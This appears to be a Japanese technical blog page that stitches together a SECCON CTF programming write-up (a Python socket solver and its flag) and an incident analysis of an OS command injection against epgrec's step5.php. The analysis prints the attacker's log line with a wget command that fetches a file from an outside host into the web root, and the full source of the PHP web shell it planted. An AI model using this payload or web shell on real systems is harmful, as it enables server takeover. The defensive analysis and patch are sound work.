Qiita側にタイトルの内容で記事を書いていたのでこちらにも投稿します。
最新のモダンVPN WireGuardを検証 実践的な設定や運用について
Linux, Mac, Windows等のOS,その他プログラミング等コンピュータ系技術ブログ
Choose the number Genre Programming Points 100 Question text nc number.quals.seccon.jp 31337 sorry fixed URLこちらのジャンル「Programming」、ポイント「100点」の問題です。
$ nc number.quals.seccon.jp 31337 0, 6 The minimum number? Timeout, bye.
$ nc number.quals.seccon.jp 31337 5, 1 The minimum number? 5 Wrong, bye.
$ nc number.quals.seccon.jp 31337 9, 8 The minimum number? 8 -3, -2, 6 The maximum number? 6 0, 5, 7, 0 The maximum number? 7 1, 9, 5, 2, -7 The maximum number? 9 9, 7, -9, 7, -9, 3 The maximum number? 9 0, -1, 8, -2, -5, -6, -7 The maximum number? 8 3, 6, 6, -6, -3, 8, 5, -4 The maximum number? 8 -3, -8, -4, 1, 5, 8, 3, 2, -8 The maximum number? 8 98, 63, 3, -37, 35, -85, 47, 44, 73, -94 The maximum number? 98 -99, 56, 9, -36, -70, 97, -8, -76, -46, 14, -39 The minimum number? -99 -49, 17, 14, -62, -48, 31, 59, -57, 60, 9, 18, -11 The minimum number? -57 Wrong, bye.提示された数列の中から、最大値もしくは最小値を連続で答えさせる問題です。
#!/usr/bin/env python
# coding=utf-8
import socket
HOST = 'number.quals.seccon.jp'
PORT = 31337
def main():
clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsock.connect((HOST, PORT))
while True:
rcvmsg = clientsock.recv(4096)
print rcvmsg
answer = solve(rcvmsg)
print answer
clientsock.sendall(answer)
clientsock.close()
def solve(rcvmsg):
# parse
temp = rcvmsg.split("\n")
str_number_list = temp[0].split(", ")
max_or_min = temp[1].split(" ")[1]
number_list = []
for i in str_number_list:
number_list.append(int(i))
if max_or_min == "minimum":
answer = min(number_list)
else:
answer = max(number_list)
return str(answer)
if __name__ == "__main__":
main()
key: SECCON{Programming is so fun!}
2, 8
The minimum number?
2
5, 5, 0
The minimum number?
0
-1, 2, 2, -4
The maximum number?
2
8, 4, 3, -8, 9
The maximum number?
9
8, -7, 2, -5, 1, 7
The maximum number?
8
-3, 5, 7, 5, -6, -7, 3
The maximum number?
7
6, 5, 2, -4, -8, 1, -7, -6
The minimum number?
-8
4, -3, -5, -9, -5, -1, 4, 7, -9
The minimum number?
-9
-99, -61, -81, -32, 50, 16, 75, 85, 7, -22
The minimum number?
-99
82, 30, -28, 10, -23, -92, 27, 16, 14, -92, 78
The minimum number?
-92
8, 56, -1, -74, -28, 43, -84, -32, -4, -56, 35, -52
The maximum number?
56
3, 5, 26, -2, -81, 39, -53, 64, 28, 92, -83, -90, 44
The maximum number?
92
4, 26, -50, 67, -55, 72, -72, -44, -77, -58, 75, 21, 70, 49
The maximum number?
75
73, 12, -27, 22, 73, -12, 0, -16, 89, 66, 2, -43, -26, -2, -55
The minimum number?
-55
-72, 5, -47, -80, 45, -3, 73, -95, -85, 58, 89, 22, 61, 60, -75, 27
The minimum number?
-95
86, -41, -31, -30, 67, 33, 76, -14, 78, 95, 26, 88, -91, -20, 45, 51, 83
The minimum number?
-91
-68, -47, 60, 85, 1, -17, -92, 94, -33, 47, -64, -76, 87, 21, 84, -8, -86, -14
The maximum number?
94
18, 50, 9, 41, -26, 40, 39, -83, 7, -96, -45, 41, 47, -87, 28, -30, -70, 92, 8
The minimum number?
-96
973, -220, -62, -952, -63, -18, 420, 121, 556, 267, -576, -421, 775, 421, 830, -70, 229, 2, 581, 839
The minimum number?
-952
490, 742, 118, 634, -207, 181, -187, 72, 70, -932, -341, 842, -53, -520, -701, 286, 632, -333, -611, 580, 171
The maximum number?
842
96, -215, 616, 983, 901, -547, 423, -666, 507, -852, -102, 92, -602, 613, 287, 680, 664, -43, -660, -655, -269, -733
The minimum number?
-852
・・・略・・・
556459593, 2124483131, 2159881254, -3749776183, -2956358028, -525066711, -181583130, 804390823, 1740090484, -793541476, -771482074, 3981865877, -1781852942, 1733051694, -1229826280, -1252056066, 2302429424, -127597216, 584347400, 3201495296, 3793190324, -3792414033, 1778463825, 3285874942, -2696920906, 2556983581, 4058759995, 98217082, -2611145952, -324523284, -3921510686, 4250415544, -3727489945, -1627669983, -3852674381, 4156209840, 1684566595, -559196578, 331587419, 2164599710, 1250638363, 2661376500, -3009444945, 274000465, 3379372586, 3614523634, 4171421938, 619691208, -611617890, 1790148465, -2489245162, -1565675134, -2352506611, 1996182388, -3737895020, 4166992857, -1384468141, 3603231049, 418250494, -1170383247, -4207411230, -1371190709, -2836728233, -1687718214, -605700096, -3148453710, 1719740456, -1854546036, -3313019035, 3529400825, 3170707133, 60340683, -858105108, 2774783484, 4110192850, 908959548, -166441903, -2216610426, -2582470585, 2612317046, 2524067276, -2097902704, -3952326444, 3689731992, 1755793330, 3127603599, 162955011, 381420595, 1091122758, 4131177934, 971526781, 1344495679, -893926365, -1557417848, 457045675, -2006055280, -2434870581, 2715139040, 704942641, -1699474743, -721176381
The minimum number?
-4207411230
Congratulations!
The flag is SECCON{Programming is so fun!}
Traceback (most recent call last):
File "./programming_resolver.py", line 37, in
main()
File "./programming_resolver.py", line 14, in main
answer = solve(rcvmsg)
File "./programming_resolver.py", line 28, in solve
number_list.append(int(i))
ValueError: invalid literal for int() with base 10: 'Congratulations!'
最後にParseに失敗しているのは、サーバから飛んでくる文字列形式が異なるからで、気にしない。$ diff -u /var/www/epgrec/install/step5.php ./step5.php --- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900 +++ ./step5.php 2014-01-18 12:13:04.000000000 +0900 @@ -4,10 +4,6 @@ $settings = Settings::factory(); -if( isset( $_GET['script'] ) ) - $epg_rec = $_GET['script']; -else - exit(); if( isset( $_GET['time'] ) ) $rec_time = $_GET['time']; else @@ -15,8 +11,21 @@ echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ を開いてください。'; -@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' ); - +if( isset( $_GET['script'] ) ){ + $epg_rec = $_GET['script']; + switch( $epg_rec ){ + case '/getepg.php': + case '/shepherd.php': + @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' ); + break; + default: + $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']'; + reclog( $alert_msg, EPGREC_WARN ); + file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND ); + syslog( LOG_WARNING, $alert_msg ); + break; + } +} exit(); ?>これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
if( isset( $_GET['script'] ) ) $epg_rec = $_GET['script']; else exit(); if( isset( $_GET['time'] ) ) $rec_time = $_GET['time']; else exit(); echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。'; @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' ); exit();
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );この部分、外部から「script」というパラメータで受け取った値を
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lololこれのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txtとなる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
<?php header('Content-Type: text/html; charset=utf8'); ?> <html> <head> <script language="JavaScript"> function hex(d) { return d.toString(16); } function Encrypt(theText) { output = new String; Tmp = new String; Temp = new Array(); TextSize = theText.length; for (i = 0; i < TextSize; i++) { Temp[i] = theText.charCodeAt(i); } for (i = 0; i < TextSize; i++) { Tmp = hex(Temp[i]); if (Tmp.length == 1) { Tmp = "0" + Tmp; } output += Tmp; } document.cmdform.cmd.value=encodeURIComponent(theText); document.cmdform.submit(); } </script> </head> <body> <center> <form name="encform" onsubmit="return false;"> <textarea name="dcmd" rows="5" cols="50"> </textarea> <br/> <input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> <br/> </form> </center> <form name="cmdform" method="GET" action=""> <input name="cmd" type="hidden" value=""> </form><br/> <?php function hex2str($hex) { for($i=0;$i<strlen($hex);$i+=2) { $str.=chr(hexdec(substr($hex,$i,2))); } return $str; } if ($_GET['cmd']) { if($_GET['sjis']==1) $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8")); else $cmd = trim(urldecode($_GET['cmd'])); ?> Command : <?php echo $cmd ?> <br/> <p> <pre> <?php $cmd = "(".$cmd;$cmd .= ") 2>&1"; if (!$_GET['type']) { system($cmd); } elseif ($_GET['type']==1) { passthru($cmd); } elseif ($_GET['type']==2) { echo (exec($cmd)); } elseif ($_GET['type']==3) { $output = shell_exec($cmd); echo $output; } ?> </pre> </p> <?php } ?>このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。